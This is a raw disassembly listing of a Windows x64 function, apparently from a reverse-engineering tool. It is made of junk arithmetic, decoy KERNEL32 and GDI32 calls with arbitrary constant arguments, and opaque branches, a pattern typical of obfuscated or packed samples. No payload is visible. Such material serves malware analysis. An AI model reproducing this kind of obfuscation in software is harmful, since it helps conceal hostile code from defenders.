mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [0x1401b4410]
mov ecx, dword [rsp + 0x6360]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1ea8]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcea8]
mov qword [rsp + 0xcec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcec0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6300], eax
mov eax, dword [rsp + 0x62ec]
mov ecx, dword [rsp + 0x6270]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d8e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x636c], eax
mov rax, qword [0x1401a53a8]
movzx ecx, al
mov rax, qword [0x1401a5398]
sar rax, cl
mov qword [rsp + 0xcd38], rax
lea rdx, [rsp + 0x6348]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6338], eax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [rsp + 0x322], al
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
movsx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a53a8], rax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x413], al
movsx eax, word [0x1401a53a0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
xor eax, ecx
mov word [rsp + 0x1eac], ax
jmp 0x140013dd0
cmp dword [rsp + 0x6364], 0x12797
ja 0x1400146aa
mov rax, qword [0x1401a53a8]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xcec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcec8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcd38], rax
mov rcx, qword [rsp + 0xce68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x296b
mov r8d, 0x805
mov edx, 0xdc
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x6370], eax
mov rax, qword [0x1401a53a8]
movzx ecx, al
mov rax, qword [0x1401a5398]
shl rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
and eax, ecx
mov byte [0x1401a5038], al
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x6370], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
and eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [0x1401a53a8]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov eax, dword [rsp + 0x6364]
add eax, 0x88
mov dword [rsp + 0x6364], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov rcx, qword [rsp + 0xce28]
mov byte [rcx], al
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401b4410]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xcd70]
mov qword [rsp + 0xced0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xced0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xce70], rax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x630c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x415]
shl eax, cl
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
and eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e94], ax
lea rdx, [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62b8], eax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [rsp + 0x1ce], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6324], eax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a53a8], rax
jmp 0x14001437c
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x630c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov eax, dword [rsp + 0x62ec]
mov ecx, dword [rsp + 0x54ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xaf28]
mov rcx, qword [rsp + 0xb2f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1eb4]
sub eax, ecx
mov word [rsp + 0x1e94], ax
movsx eax, byte [rsp + 0x2cd]
movsx ecx, byte [rsp + 0x414]
shl eax, cl
mov byte [rsp + 0x14f], al
movzx eax, byte [rsp + 0x413]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
xor eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xaf28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x62ec]
mov ecx, dword [rsp + 0x54ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x417]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
and eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401a53a4], ax
mov eax, dword [rsp + 0x6270]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xced8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xced8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
shl eax, cl
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
movzx eax, byte [0x1401a5038]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [0x1401a53a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [0x1401a53a8]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ff]
add eax, ecx
mov byte [0x1401b440b], al
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov byte [rsp + 0x322], al
mov eax, dword [rsp + 0x6340]
add eax, 0x57
mov dword [rsp + 0x6340], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
or eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcd38], rax
cmp dword [rsp + 0x6340], 0x660d
jb 0x1400146aa
mov rax, qword [rsp + 0xaf28]
mov qword [rsp + 0xcee0], rax
movabs rax, 0x70146d9245830b
cmp qword [rsp + 0xcee0], rax
je 0x140014acd
jmp 0x140014b42
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rax]
call fcn.1401879a0
mov r9d, 0x2c
lea r8, [rsp + 0x1cd40]
lea rdx, [rsp + 0xcea8]
mov rcx, qword [rsp + 0xcee8]
call qword [sym.imp.GDI32.dll_GetPath]
mov dword [rsp + 0x6374], eax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
add eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51b8], eax
jmp 0x14018705b
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x6378], eax
cmp dword [rsp + 0x6378], 0x65aa
je 0x140014b76
cmp dword [rsp + 0x6378], 0x94cb
je 0x140014c24
jmp 0x140014d56
movsx eax, byte [rsp + 0x2cd]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x54ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62c8], eax
movzx eax, byte [0x1401a5038]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x417], al
mov r8d, 0xaf
mov edx, 0xf2
mov rcx, qword [rsp + 0xcef0]
call qword [sym.imp.GDI32.dll_PtInRegion]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
add eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [0x1401a53a4]
add eax, ecx
mov word [rsp + 0x1d90], ax
jmp 0x140014d56
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov word [rsp + 0x1e94], ax
lea rax, [rsp + 0xce08]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xda
mov rax, qword [rsp + 0xcef8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xcdf8]
mov qword [rsp + 0x20], rax
mov r9d, 0xd5
mov r8d, 0xa8
mov edx, 0x38
mov rcx, qword [rsp + 0xcf00]
call qword [sym.imp.GDI32.dll_ExtTextOutW]
mov dword [rsp + 0x637c], eax
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6374]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd58]
movzx ecx, al
mov rax, qword [rsp + 0xce70]
shl rax, cl
mov qword [rsp + 0xaf28], rax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea0]
or eax, ecx
mov word [rsp + 0x1e94], ax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
sar eax, cl
mov byte [rsp + 0x416], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1eb0]
and eax, ecx
movsx ecx, word [rsp + 0x1ec0]
movsx edx, word [0x1401b440c]
add ecx, edx
cmp eax, ecx
jg 0x140186ff1
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xcf10], rax
movsx eax, word [0x1401a53a0]
movsx ecx, word [rsp + 0x1ea0]
and eax, ecx
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x6380], 0xa80c
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
add eax, ecx
mov byte [rsp + 0x95], al
mov dword [rsp + 0x6384], 0xc09d
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaf28]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140186f10
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [0x1401a53a4]
or eax, ecx
mov word [rsp + 0x1eac], ax
movzx eax, byte [rsp + 0x413]
mov byte [0x1401b440a], al
lea rcx, [rsp + 0x1d8e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x62f8], eax
mov dword [rsp + 0x6388], 0x10287
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x638c], al
cmp byte [rsp + 0x638c], 0
je 0x140014eae
cmp byte [rsp + 0x638c], 0x90
je 0x140014f30
jmp 0x140014f95
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [rsp + 0x416], al
movzx eax, word [0x1401b440c]
mov word [rsp + 0x1ec4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.nhQQdZ1bAPxHNfWGMPEwMp63
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcf18], rax
mov eax, dword [rsp + 0x630c]
mov ecx, dword [rsp + 0x6374]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
jmp 0x140014f95
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xaf28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
mov r8d, 0x59
mov rdx, qword [rsp + 0xcf20]
mov rcx, qword [rsp + 0xcf28]
call qword [sym.imp.GDI32.dll_ExtSelectClipRgn]
mov dword [rsp + 0x62d8], eax
call fcn.140187a50
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov dword [rsp + 0x6390], eax
cmp dword [rsp + 0x6390], 0x1c0
je 0x140014fcc
jmp 0x14001507d
mov ecx, 0x17
call qword [sym.imp.GDI32.dll_GdiSetBatchLimit]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov eax, dword [rsp + 0x6374]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
or eax, ecx
mov word [rsp + 0x1eac], ax
mov r8d, 0x5e
lea rdx, [rsp + 0x1cb18]
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_PolyTextOutW]
mov dword [rsp + 0x6308], eax
call fcn.140187a50
jmp 0x140186e5b
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
sar eax, cl
mov byte [rsp + 0x417], al
mov rax, qword [rsp + 0xce28]
movzx eax, byte [rax]
mov byte [rsp + 0x6394], al
cmp byte [rsp + 0x6394], 0
je 0x1400150c4
cmp byte [rsp + 0x6394], 0x62
je 0x140015121
jmp 0x1400151b0
lea rax, [rsp + 0x1e94]
mov qword [rsp + 0xcf40], rax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401a53b0], eax
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xcf08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
jmp 0x1400151b0
mov rax, qword [rsp + 0xcf10]
mov rcx, qword [rsp + 0xcf30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcd30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x6374]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x62cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsp + 0x6398], 0xed93
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcf08]
mov rdx, qword [rsp + 0xcf10]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001537d
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rax]
call fcn.1401879a0
mov dword [rsp + 0x60], 0xc8
mov dword [rsp + 0x58], 0xd9
lea rax, [rsp + 0x639c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1cf70]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x1b
mov dword [rsp + 0x38], 0x6c
mov dword [rsp + 0x30], 0xbe
mov dword [rsp + 0x28], 0xef
mov dword [rsp + 0x20], 0xac
mov r9d, 0xdb
mov r8d, 0xec
mov edx, 0x11
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_StretchDIBits]
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
sar eax, cl
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [0x1401a5398]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xcf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401a53a8], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
or eax, ecx
mov byte [rsp + 0x14f], al
lea r9, [rsp + 0x1bc30]
mov r8d, 0x7b
mov edx, 0xd4
mov rcx, qword [rsp + 0xcee8]
call qword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [rsp + 0x63a0], eax
movzx eax, byte [0x1401b440a]
movzx ecx, byte [rsp + 0x417]
xor eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea8]
and eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xcea8]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6300], eax
cmp dword [rsp + 0x6284], 0xbcba
jbe 0x140015656
mov eax, dword [rsp + 0x6360]
mov ecx, dword [rsp + 0x6270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce70], rax
movzx eax, word [0x1401a53a4]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0xf9c], ax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf9c], ax
movsx eax, word [rsp + 0x1eb4]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a53a0], ax
movzx eax, byte [rsp + 0x415]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x413], al
lea rcx, [rsp + 0x1d8e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x62f0], eax
mov eax, dword [rsp + 0x6284]
sub eax, 0xf1
mov dword [rsp + 0x6284], eax
mov rax, qword [rsp + 0xcf10]
mov rcx, qword [rsp + 0xcf30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf30]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0xcf50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf50]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6374]
movzx ecx, al
mov eax, dword [rsp + 0x62d8]
shl eax, cl
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
add eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
and eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [0x1401b440b], al
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xcf30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
